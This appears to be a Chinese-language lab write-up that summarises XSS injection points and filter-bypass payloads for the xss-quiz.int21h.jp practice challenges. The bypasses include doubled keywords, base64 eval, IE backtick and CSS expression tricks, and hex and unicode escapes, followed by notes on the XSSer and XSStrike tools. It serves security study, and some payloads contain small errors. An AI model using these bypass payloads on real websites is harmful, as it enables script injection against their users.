XSS(跨站脚本攻击)小结
靶机地址:https://xss-quiz.int21h.jp/
XSS漏洞发现:
设置独一无二字符串提交,在响应中查找。
定义和用法
onmouseover 属性在鼠标指针移动到元素上时触发。
注释:onmouseover 属性不适用以下元素:<base>、<bdo>、<br>、<head>、<html>、<iframe>、<meta>、<param>、<script>、<style> 或 <title>。
1、标签属性中XSS
例如:<input type="text" name="p1" size="50" value="111"> 其中111为用户输入,input标签、value属性
1)闭合属性,闭合标签,引入script脚本或者svg标签。例如:"><script>alert(document.domain);</script> "><svg onload=alert(document.domain)>%0a "><svg/onload=alert(document.domain)>%0a
2)闭合属性,引入事件,闭合标签。例如:" onmouseover="alert(document.domain)"> " onmouseover="alert(document.domain) 或者使用onclick事件
2、文本区域中
例如:<b>1111</b> 其中1111为用户输入
闭合文本标签,引入script脚本。例如:</b><script>alert(document.domain);</script>
3、HTML表单隐藏参数介绍
隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到服务器上。
代码格式:包含在表单当中,且格式<input type="hidden" name="..." value="...">
使用burpsuite抓包可查看到表单提交上关于隐藏域的名称和值
HTML中svg介绍:svg意为可缩放矢量图形,svg使用XML格式定义图像。svg文件可通过以下标签嵌入HTML文档中:<embed>、<object>或者<iframe>。也可以使用<svg>标签插入。
闭合:
1)svg标签。闭合属性,闭合标签,引入svg标签(在script被过滤或<>被转义时):"><svg onload=alert(document.domain)>%0a "><svg/onload=alert(document.domain)>%0a
2)闭合属性,闭合标签,引入script脚本:"><script>alert(document.domain);</script>
4、空格分隔属性的XSS
例如:<input type="text" name="p1" size="50" value="111"> 用户输入111
<input type="text" name="p1" size="50" value="111" 111> 用户输入111 111
<input type="text" name="p1" size="50" value="111" 222="111"> 用户输入111 222=111
1)触发XSS,引入属性,输入:111 onclick=alert(document.domain);
5、javascript伪协议触发的XSS
javascript伪协议介绍:将javascript代码添加到客户端的方法时把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。
如果javascript:URL中的javascript代码含多个语句,必须使用分号将这些语句分隔开。
javascript:var now=new Date(); "<h1>The time is:</h1>" + now;
javascript URL还可以含有只执行操作,但不返回值的javascript语句。
javascript:alert("hello world!")
a链接标签属性href介绍:
<a>标签定义超链接,用于从一个页面链接到另一个页面。
<a>元素最重要的属性是href属性,它指定链接的目标。
在所有浏览器中,链接的默认外观如下:
未被访问的链接带有下划线而且是蓝色的
已被访问的链接带有下划线而且是紫色的
活动链接带有下划线而且是红色的
构造payload触发XSS:
<a href="111111"> 111111为用户输入
payload:javascript:alert(document.domain)
6、绕过过滤domain为空的XSS
绕过思考:
1、寻找过滤内容 输入"><script>alert(document.domain)</script> 在页面元素中发现<script>alert(document.)</script> ,过滤掉了domain
2、思考绕过策略:双写绕过和编码绕过
双写绕过:payload : "><script>alert(document.dodomainmain)</script>
编码绕过:payload:"><script>eval(atob('base64加密alert(document.domain)后的值'));</script> 其中atob是将base64加密后的数据转换为字符串
7、绕过替换script和on事件的XSS
绕过思考:
1、寻找过滤内容
2、思考绕过策略:
伪协议绕过:payload: "><a href="javascript=alert(document.domain)">xss</a>
空格绕过:payload: "><a href="javascr ipt=alert(document.domain)">xss</a>
8、利用IE特性绕过XSS过滤
基本XSS利用:HTML事件触发XSS、闭合input标签,利用外部标签触发XSS
当过滤"和><时,可利用IE浏览器的特性,IE中两个反引号``可以关闭左边一个双引号
payload: `` onmouseover=alert(document.domain)
9、利用CSS特性绕过XSS(IE低版本浏览器)
基本XSS利用:HTML事件触发XSS、闭合input标签,利用外部标签触发XSS
基本XSS利用无法生效时,可考虑此方法。
CSS特性讲解:
background:url("javascript:alert(document.domain);"); 设置背景颜色
设置background:url,利用javascript伪协议执行js。目前IE浏览器支持,其他浏览器已不再支持。
payload: background-color:#f00;background:url(javascript:alert(document.domain););
10、IE中利用CSS触发XSS
CSS介绍:层叠样式表是一种用来表现HTML(标准通用标记语言的一个应用)或XML(标准的通用标记语言的一个子集)等文件样式的计算机语言。CSS不仅可以静态的修饰网页,还可以配合
各种脚本语言动态地对网页各元素进行格式化。
CSS中执行js:
css expression(css表达式)又称Dynamic properties(动态属性)是早期微软DHTML的产物,以其可以在CSS中定义表达式(公式)来达到建立元素间属性之间的联系等作用,从IE5开始得到
支持,后因标准、性能、安全性等问题,微软从IE8 Beta2标准模式开始,取消对css expression的支持
实际应用:
早期很多开发人员利用css expression实现了许多效果,比如将元素相对鼠标指针进行定位,根据一个定时器来移动元素等等。当然这些效果能够使用js来实现。
虽然css表达式问题很多,但是我们依然能够在网站上看到它的影子,甚至在一些成熟的商业网站上。最常见的一个应用就是悬浮在页面上的某个模块(比如导航、返回顶部)
注释绕过关键字过滤:
CSS中的注释/**/
绕过对关键字expression的过滤: ex/**/pression
payload触发XSS:xss:ex/**/pression(if(!window.x){alert(document.domain);window.x=1;})
11、16进制绕过过滤触发XSS
16进制介绍:十六进制转换有16进制每一位上可以是从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F 16个大小不同的数,即逢16进1,其中用A、B、C、D、E、F(字母不区分大小写)这六个字母分别来表示10、11、12、13、14、15.
使用python将字符转换为16进制类型:
import binascii
print("\\x" + binascii.b2a_hex(s))
双斜杠+16进制绕过:
输出点<>被转义后构造的双斜杠+16进制绕过的payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
12、unicode绕过过滤触发XSS
unicode介绍:unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。unicode是为了解决传统的字符编码方案的局限而产生的。它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。
使用Python将字符转换为unicode类型:
import binascii
print ("\\u0" +binascii.b2a_hex("<"))
输出点<>被转义后构造的双斜杠+unicode编码绕过的payload:\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
自动化工具XSS漏洞挖掘工具:
xsser是一款用于针对Web应用程序自动化挖掘、利用、报告xss漏洞的框架。
XSS_Fuzzing工具:
XSStrike是一款检测Cross Site Scripting的高级检测工具。它继承了payload生成器、爬虫和模糊引擎功能。XSStrike不是像其他工具那样注入有效负载并检查其工作,而是通过多个
解析器分析响应,然后通过与模糊引擎继承的上下文分析来保证有效负载。除此之外,XSStrike还具有爬行,模糊测试,参数发现,WAF检测功能。它还会扫描DOM XSS漏洞。
项目地址:https://github.com/s0md3v/XSStrike
XSS工具安装:XSStrike只可以运行在python 3.6以上版本。